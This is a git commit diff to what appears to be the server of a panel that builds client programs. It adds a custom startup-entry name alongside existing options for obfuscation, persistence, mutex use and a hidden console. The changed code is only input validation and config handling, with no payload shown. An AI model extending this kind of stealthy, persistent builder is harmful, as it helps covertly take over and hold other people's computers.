add custom file names to building and fix purgatory issue

This commit is contained in:
KingKDot
2026-03-21 03:06:35 -05:00
parent e7e5f0b778
commit 5ac5e4e536
13 changed files with 276 additions and 93 deletions
@@ -48,6 +48,7 @@ export async function handleBuildRoutes(
obfuscate,
enablePersistence,
persistenceMethod,
startupName,
mutex,
disableMutex,
hideConsole,
@@ -135,6 +136,10 @@ export async function handleBuildRoutes(
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
? startupName.trim()
: undefined;
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
@@ -217,6 +222,7 @@ export async function handleBuildRoutes(
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethod: safePersistenceMethod,
startupName: safeStartupName,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
@@ -66,7 +66,7 @@ export async function handleEnrollmentRoutes(
return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
}
await updateEnrollmentConfig(body.requireApproval);
await updateEnrollmentConfig({ requireApproval: body.requireApproval });
logAudit({
timestamp: Date.now(),